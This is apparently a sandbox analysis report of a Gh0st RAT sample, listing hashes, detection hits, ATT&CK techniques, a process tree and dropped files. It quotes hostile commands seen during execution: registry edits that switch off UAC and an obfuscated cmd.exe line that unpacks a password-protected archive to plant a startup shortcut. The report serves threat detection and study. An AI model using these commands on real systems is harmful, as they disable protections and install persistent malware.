gh0strat | ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550

Analysis

max time kernel
140s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
27/09/2022, 11:29

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General

Target

ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
Size

36KB
MD5

c71e89f8fc213c73ab59fc3e62c258f3
SHA1

2dfb26333f75d629b21ccf50e3612b4a9e2c4a0f
SHA256

ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550
SHA512

83960b66993ffb45b2962b38621ee67cb4a8b333dbb6d52d84cb88c61c7c27af0dac09210dfa8633b7f7455743203333392c9e7a89623478b33ba3c3bfdb5606
SSDEEP

192:60RmaRBUda7n9JlU2g1jJMOEyKbIYymt5XTtEyKihoynlwHLHTgH9N2tpgRmd8MS:60oBdq9JGqO+NxhcAdN2tpgwd5ASc

Score

10^/10

gh0strat evasion rat trojan upx

Malware Config

Signatures

Gh0st RAT payload 4 IoCs

resource	yara_rule
behavioral2/memory/2420-168-0x0000000000400000-0x000000000051F000-memory.dmp	family_gh0strat
behavioral2/memory/2420-170-0x0000000000400000-0x000000000051F000-memory.dmp	family_gh0strat
behavioral2/memory/2420-169-0x0000000010000000-0x000000001017D000-memory.dmp	family_gh0strat
behavioral2/memory/2420-178-0x0000000000400000-0x000000000051F000-memory.dmp	family_gh0strat

Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe

Downloads MZ/PE file

Executes dropped EXE 6 IoCs

pid	Process
2480	k4.exe
4820	k4.exe
3700	dllhosts.exe
2228	unzip.exe
2420	dllhosts.exe
4040	k4.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2420-163-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral2/memory/2420-166-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral2/memory/2420-167-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral2/memory/2420-168-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral2/memory/2420-170-0x0000000000400000-0x000000000051F000-memory.dmp	upx
behavioral2/memory/2420-178-0x0000000000400000-0x000000000051F000-memory.dmp	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\	unzip.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\browser.lnk	unzip.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\browser.lnk	unzip.exe

Loads dropped DLL 2 IoCs

pid	Process
4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
3700	dllhosts.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	dllhosts.exe
File opened (read-only)	\??\K:	dllhosts.exe
File opened (read-only)	\??\U:	dllhosts.exe
File opened (read-only)	\??\V:	dllhosts.exe
File opened (read-only)	\??\Q:	dllhosts.exe
File opened (read-only)	\??\R:	dllhosts.exe
File opened (read-only)	\??\W:	dllhosts.exe
File opened (read-only)	\??\E:	dllhosts.exe
File opened (read-only)	\??\G:	dllhosts.exe
File opened (read-only)	\??\I:	dllhosts.exe
File opened (read-only)	\??\L:	dllhosts.exe
File opened (read-only)	\??\N:	dllhosts.exe
File opened (read-only)	\??\X:	dllhosts.exe
File opened (read-only)	\??\Y:	dllhosts.exe
File opened (read-only)	\??\H:	dllhosts.exe
File opened (read-only)	\??\M:	dllhosts.exe
File opened (read-only)	\??\O:	dllhosts.exe
File opened (read-only)	\??\P:	dllhosts.exe
File opened (read-only)	\??\T:	dllhosts.exe
File opened (read-only)	\??\B:	dllhosts.exe
File opened (read-only)	\??\F:	dllhosts.exe
File opened (read-only)	\??\S:	dllhosts.exe
File opened (read-only)	\??\Z:	dllhosts.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
1940	cmd.exe
5012	cmd.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3700 set thread context of 2420	3700	dllhosts.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1336	3700	WerFault.exe	101

Checks SCSI registry key(s) 3 TTPs 2 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	k4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	k4.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhosts.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dllhosts.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4908	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe
2420	dllhosts.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
3640	mmc.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	4908	taskkill.exe
Token: 33	3592	mmc.exe
Token: SeIncBasePriorityPrivilege	3592	mmc.exe
Token: 33	3592	mmc.exe
Token: SeIncBasePriorityPrivilege	3592	mmc.exe
Token: 33	3640	mmc.exe
Token: SeIncBasePriorityPrivilege	3640	mmc.exe
Token: 33	3640	mmc.exe
Token: SeIncBasePriorityPrivilege	3640	mmc.exe
Token: SeLoadDriverPrivilege	4040	k4.exe
Token: 33	2420	dllhosts.exe
Token: SeIncBasePriorityPrivilege	2420	dllhosts.exe
Token: 33	2420	dllhosts.exe
Token: SeIncBasePriorityPrivilege	2420	dllhosts.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
3592	mmc.exe
3592	mmc.exe
3640	mmc.exe
3640	mmc.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 2480	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	87
PID 4312 wrote to memory of 2480	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	87
PID 4312 wrote to memory of 4820	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	88
PID 4312 wrote to memory of 4820	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	88
PID 4312 wrote to memory of 1872	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	89
PID 4312 wrote to memory of 1872	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	89
PID 4312 wrote to memory of 1872	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	89
PID 1872 wrote to memory of 4908	1872	cmd.exe	91
PID 1872 wrote to memory of 4908	1872	cmd.exe	91
PID 1872 wrote to memory of 4908	1872	cmd.exe	91
PID 4312 wrote to memory of 764	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	93
PID 4312 wrote to memory of 764	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	93
PID 4312 wrote to memory of 764	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	93
PID 4312 wrote to memory of 3056	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	98
PID 4312 wrote to memory of 3056	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	98
PID 4312 wrote to memory of 3056	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	98
PID 764 wrote to memory of 1140	764	cmd.exe	97
PID 764 wrote to memory of 1140	764	cmd.exe	97
PID 764 wrote to memory of 1140	764	cmd.exe	97
PID 3640 wrote to memory of 3700	3640	mmc.exe	101
PID 3640 wrote to memory of 3700	3640	mmc.exe	101
PID 3640 wrote to memory of 3700	3640	mmc.exe	101
PID 3592 wrote to memory of 1940	3592	mmc.exe	102
PID 3592 wrote to memory of 1940	3592	mmc.exe	102
PID 1940 wrote to memory of 5012	1940	cmd.exe	105
PID 1940 wrote to memory of 5012	1940	cmd.exe	105
PID 1940 wrote to memory of 1808	1940	cmd.exe	106
PID 1940 wrote to memory of 1808	1940	cmd.exe	106
PID 1808 wrote to memory of 3348	1808	cmd.exe	107
PID 1808 wrote to memory of 3348	1808	cmd.exe	107
PID 3348 wrote to memory of 2228	3348	cmd.exe	108
PID 3348 wrote to memory of 2228	3348	cmd.exe	108
PID 3348 wrote to memory of 2228	3348	cmd.exe	108
PID 3700 wrote to memory of 2420	3700	dllhosts.exe	109
PID 3700 wrote to memory of 2420	3700	dllhosts.exe	109
PID 3700 wrote to memory of 2420	3700	dllhosts.exe	109
PID 3700 wrote to memory of 2420	3700	dllhosts.exe	109
PID 3700 wrote to memory of 2420	3700	dllhosts.exe	109
PID 4312 wrote to memory of 4040	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	113
PID 4312 wrote to memory of 4040	4312	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe	113

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe

C:\Users\Admin\AppData\Local\Temp\ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe
"C:\Users\Admin\AppData\Local\Temp\ec827ffc5601ab5618483edb34adbce6ef5d70c5715118135890e2bcca8a6550.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Loads dropped DLL
- Checks whether UAC is enabled
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4312
- C:\Users\Public\Documents\k4.exe
  C:/Users/Public/Documents/k4.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Users\Public\Documents\k4.exe
  C:/Users/Public/Documents/k4.exe /D
  2⤵
  - Executes dropped EXE
  PID:4820
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /t /im k4.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /t /im k4.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Public\Documents\2022060125.vbe
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\2022060125.vbe"
    3⤵
    PID:1140
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sch.vbe"
  2⤵
  PID:3056
- C:\Users\Public\Documents\k4.exe
  "C:\Users\Public\Documents\k4.exe" /E
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious use of AdjustPrivilegeToken
  PID:4040

C:\Windows\system32\mmc.exe
C:\Windows\system32\mmc.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3592
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /c ^c^M^D, , /v^:O ,/R " , ( , (S^ET ^l^U=^-), )&(^sET N^aV=\^Public^\Docu^m^en^t)& (^s^eT ^S^m^KR=^ver)&&(, ,, , , (^sET idZ^S=cmd ^/c C:\^U^sers^\Publi^c\Do^cu) ,)&& (sE^t ^ ^5UR2=s\^unz^ip.^d^a^t -d)&&(^sET ^b^Vx=xe^ ^-^o)& ( , (^Set ^PXyG=^e^rver^^^^^^^>Se^r) )&(s^ET ^ w^GR=:\^U^sers)&( , , , , , (^SE^t G^2T=^ ), )& (^Se^T ^78=^men^ts^\un^zip.e)& (^Set B^X=^ ""%ap^pda^ta%"")& (^SEt p^1vS=P^ )&(S^et DBh^u=^^^^^^^&^e^cho ^S)&& S^ET ^u^Yw^J=""&&( , (^SET 7D3^y=^.^dll) , )& ( ,(^SET ^ ^gE=^C) , )&& ( , (SE^T ^ ^2^R^X=Start^u^p8^888 ) , , , )& , C^All,S^E^T 4Zb=%idZ^S%%^78%%^b^Vx%%G^2T%%^l^U%%p^1vS%%^2^R^X%%^gE%%w^GR%%N^aV%%^5UR2%%B^X%%DBh^u%%^PXyG%%^S^m^KR%%7D3^y%&&, , ^CaLL , , E^CHo , %4^Z^b:""^=!uY^wJ:~0, ^-1!%"|,%pubLic:~ 14%MD,
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\cmd.exe
    cMD , , /v:O ,/R " , ( , (S^ET ^l^U=^-), )&(^sET N^aV=\^Public^\Docu^m^en^t)& (^s^eT ^S^m^KR=^ver)&&(, ,, , , (^sET idZ^S=cmd ^/c C:\^U^sers^\Publi^c\Do^cu) ,)&& (sE^t ^ ^5UR2=s\^unz^ip.^d^a^t -d)&&(^sET ^b^Vx=xe^ ^-^o)& ( , (^Set ^PXyG=^e^rver^^^^^^^>Se^r) )&(s^ET ^ w^GR=:\^U^sers)&( , , , , , (^SE^t G^2T=^ ), )& (^Se^T ^78=^men^ts^\un^zip.e)& (^Set B^X=^ ""%ap^pda^ta%"")& (^SEt p^1vS=P^ )&(S^et DBh^u=^^^^^^^&^e^cho ^S)&& S^ET ^u^Yw^J=""&&( , (^SET 7D3^y=^.^dll) , )& ( ,(^SET ^ ^gE=^C) , )&& ( , (SE^T ^ ^2^R^X=Start^u^p8^888 ) , , , )& , C^All,S^E^T 4Zb=%idZ^S%%^78%%^b^Vx%%G^2T%%^l^U%%p^1vS%%^2^R^X%%^gE%%w^GR%%N^aV%%^5UR2%%B^X%%DBh^u%%^PXyG%%^S^m^KR%%7D3^y%&&, , ^CaLL , , E^CHo , %4^Z^b:""^=!uY^wJ:~0, ^-1!%"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    PID:5012
- - C:\Windows\system32\cmd.exe
    cMD ,
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Public\Documents\unzip.exe -o -P Startup8888 C:\Users\Public\Documents\unzip.dat -d "C:\Users\Admin\AppData\Roaming"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3348
    - - C:\Users\Public\Documents\unzip.exe
        
        C:\Users\Public\Documents\unzip.exe -o -P Startup8888 C:\Users\Public\Documents\unzip.dat -d "C:\Users\Admin\AppData\Roaming"
        5⤵
        Executes dropped EXE
        Drops startup file
        
        PID:2228

C:\Windows\system32\mmc.exe
C:\Windows\system32\mmc.exe -Embedding
1⤵
- Suspicious behavior: SetClipboardViewer
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Users\Public\Documents\dllhosts.exe
  "C:\Users\Public\Documents\dllhosts.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Users\Public\Documents\dllhosts.exe
    C:\Users\Public\Documents\dllhosts.exe
    3⤵
    - Executes dropped EXE
    - Enumerates connected drives
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2420
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 240
    3⤵
    - Program crash
    PID:1336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3700 -ip 3700
1⤵
PID:2616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\2022060125.vbe

Filesize
180B

MD5
d66c7e77096d4f4c406170b6ca0ad123

SHA1
9bb461061c7276ebe2a493f690d72263c0da8962

SHA256
cd0a0ac1315f1f473f4a42bed62fad7033fe68a3e0cf72a7b354a7e3dd78e8a8

SHA512
015788021b53eb278be1238b26a01499dcb809d93ee747bc89208f8d3570a7b0b813c70ea054e70584b536da4811f0a58ef38c96a984e6b3a54654774e5c7592

Download Submit
C:\Users\Public\Documents\RDSv1.dll

Filesize
24KB

MD5
c68a7ddbed2cd20279b87e733c9008db

SHA1
eef926d0069c9b54e609302b64267d4721f8ea7a

SHA256
7e05127f15bb1967ca4598d9fa8a4c7867b1658b684e50874a9513e4ff23ee53

SHA512
db21961744b62f0a772c7bd309592898630deeb1a18e79c3b289e5d187521cfdcc37e4a6a18149a697ddff7c121ec6f73685a8dce8e1181552558947d13e83bf

Download Submit
C:\Users\Public\Documents\TASLoginBase.dll

Filesize
79KB

MD5
6ebf287f2c3b738ee9bef1541665c82f

SHA1
d16c0565d76cc4389a3eb9134139b8552204b5a8

SHA256
65e188078e5cce984eeab6e2e9382fb06513a1ce46fd6b216321309cb696b75f

SHA512
dc8b94e20d5932ad2d9aa66ce8a5c670890025d6cd3f9cca090318c7ee980afa16ee63f66f18eb21acabeb2f32ddfd2e65e73893b129a10e52af7162cad6f57c

Download Submit
C:\Users\Public\Documents\TASLoginBase.dll

Filesize
79KB

MD5
6ebf287f2c3b738ee9bef1541665c82f

SHA1
d16c0565d76cc4389a3eb9134139b8552204b5a8

SHA256
65e188078e5cce984eeab6e2e9382fb06513a1ce46fd6b216321309cb696b75f

SHA512
dc8b94e20d5932ad2d9aa66ce8a5c670890025d6cd3f9cca090318c7ee980afa16ee63f66f18eb21acabeb2f32ddfd2e65e73893b129a10e52af7162cad6f57c

Download Submit
C:\Users\Public\Documents\dllhosts.exe

Filesize
411KB

MD5
66557b2bd93e70a2804e983b279ab473

SHA1
4e58505689fd9643b5011880ce94b22cbfadf917

SHA256
a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31

SHA512
b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4

Download Submit
C:\Users\Public\Documents\dllhosts.exe

Filesize
411KB

MD5
66557b2bd93e70a2804e983b279ab473

SHA1
4e58505689fd9643b5011880ce94b22cbfadf917

SHA256
a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31

SHA512
b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4

Download Submit
C:\Users\Public\Documents\dllhosts.exe

Filesize
411KB

MD5
66557b2bd93e70a2804e983b279ab473

SHA1
4e58505689fd9643b5011880ce94b22cbfadf917

SHA256
a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31

SHA512
b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4

Download Submit
C:\Users\Public\Documents\k4.exe

Filesize
892KB

MD5
33e29221e2825001d32f78632217d250

SHA1
9122127fc91790a1edb78003e9b58a9b00355ed5

SHA256
65d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d

SHA512
01d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93

Download Submit
C:\Users\Public\Documents\k4.exe

Filesize
892KB

MD5
33e29221e2825001d32f78632217d250

SHA1
9122127fc91790a1edb78003e9b58a9b00355ed5

SHA256
65d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d

SHA512
01d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93

Download Submit
C:\Users\Public\Documents\k4.exe

Filesize
892KB

MD5
33e29221e2825001d32f78632217d250

SHA1
9122127fc91790a1edb78003e9b58a9b00355ed5

SHA256
65d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d

SHA512
01d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93

Download Submit
C:\Users\Public\Documents\k4.exe

Filesize
892KB

MD5
33e29221e2825001d32f78632217d250

SHA1
9122127fc91790a1edb78003e9b58a9b00355ed5

SHA256
65d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d

SHA512
01d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93

Download Submit
C:\Users\Public\Documents\sch.vbe

Filesize
179B

MD5
d569f44ce5792ee816b4182e3c7bc7da

SHA1
f16a402cd6030b5c7faa5c85ade3005d66d5232a

SHA256
59ff328647ccee11ad437e02b6e84c12511333553837b6fa270eefd21a3eccbf

SHA512
bb0f888ff00038d1787e6cce8b09b61761d93594cbfe08d2dbf650c1802938d6df7b4b854c1af97ad405fb3b1460aab339e636852d51dc6b6849d27a5af9560b

Download Submit
C:\Users\Public\Documents\unzip.dat

Filesize
1KB

MD5
e1fafb36f4da2c3be5dc9be1ad0b9805

SHA1
7d64a899e0ab62f3cd6ebf5bdade782c99c00713

SHA256
a862acb112f57458ad35e5e5fc90f0d270a7600af694a6b7052d161806e5dd69

SHA512
5c530b09b6459f34072dfccb7ccec5cbb791fc6cdc2633993da91fbef9c4d1172aec51ace3fb3cb8ac25b6721b4e6f5f1fd1a8fac7d95abbad8f6430e4abbc3e

Download Submit
C:\Users\Public\Documents\unzip.exe

Filesize
164KB

MD5
75375c22c72f1beb76bea39c22a1ed68

SHA1
e1652b058195db3f5f754b7ab430652ae04a50b8

SHA256
8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a

SHA512
1b396e78e189185eefb8c6058aa7e6dfe1b8f2dff8babfe4ffbee93805467bf45760eea6efb8d9bb2040d0eaa56841d457b1976dcfe13ed67931ade01419f55a

Download Submit
C:\Users\Public\Documents\unzip.exe

Filesize
164KB

MD5
75375c22c72f1beb76bea39c22a1ed68

SHA1
e1652b058195db3f5f754b7ab430652ae04a50b8

SHA256
8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a

SHA512
1b396e78e189185eefb8c6058aa7e6dfe1b8f2dff8babfe4ffbee93805467bf45760eea6efb8d9bb2040d0eaa56841d457b1976dcfe13ed67931ade01419f55a

Download Submit
C:\Users\Public\Documents\unzip.lnk

Filesize
2KB

MD5
7503a871168c07ca47a87c933f004f66

SHA1
764d09fe3b1f756a467e4a96d5cc3453732c3cfb

SHA256
8a3d404f5cdd1611433ea97e8a5ebf8696d8cdcf805331201a4fb4f7203023de

SHA512
4f7bbab0fcdb150cf368ab9fa2d23f26082ae1ac1d1a4cebc7ea9b2724125c7f5e013b2180a08a3f0002e416e6be5e6233f47fb7f5dbebd1b503f09a5ea24831

Download Submit
C:\Users\Public\Documents\update.lnk

Filesize
1KB

MD5
3af508a542bdfa6927737a2d91d74f40

SHA1
433f04e960f68ce05358af2d672a9b649de4e3ce

SHA256
e7e3e44142369b3a312005313f8569f2bcd45bcdc8ea9e141616654bcd090b60

SHA512
b35ad011ca3770c1a1e2a655a614e91ebd96ce29099969c727a69e77a390b91078512ce55883d7290e4dd46c5f04f0461b2833f568d23da1fc4d91ea4633d3bc

Download Submit
C:\Users\Public\Documents\update.log

Filesize
462KB

MD5
038dd85192b43fa9b88a0097cef23d5d

SHA1
1ac00a59472d8b5d0237d50d616bc3ad29f7be10

SHA256
eccb1940a9a5fcfe43b845106d09e5ebae83fb2c60a9599363063ff3eae4d2b4

SHA512
